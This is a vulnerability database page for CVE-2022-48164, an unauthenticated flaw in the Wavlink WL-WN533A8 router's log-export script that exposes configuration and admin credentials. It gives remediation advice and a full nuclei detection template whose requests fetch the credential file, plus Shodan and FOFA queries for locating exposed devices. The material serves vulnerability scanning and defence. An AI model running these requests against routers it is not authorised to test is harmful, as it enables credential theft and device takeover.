HexBrain

Browse / CVEs / CVE-2022-48164

CVE-2022-48164· wavlink / wl-wn533a8 firmware

Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure

highseverity
7.5CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.

Impact

Successful exploitation could lead to sensitive information disclosure.

Fix

Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(body, "WN533A8")
Send: GET {{BaseURL}}/cgi-bin/ExportLogs.sh
Positive when: contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK") and contains(content_type, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-48164 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-48164

info:
  name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.
  remediation: |
    Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://docs.google.com/document/d/1JgqpBYRxyU0WKDSqkvi4Yo0723k7mrIUeuH9i1eEs8U/edit?tab=t.0
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48164
    epss-score: 0.03096
    epss-percentile: 0.87846
    cpe: cpe:2.3:o:wavlink:wl-wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavlink
    product: wl-wn533a8_firmware
    shodan-query: html:"WN533A8"
    fofa-query: body="WN533A8"
  tags: cve,cve2022,wavlink,exposure,wn533a8,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "WN533A8")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from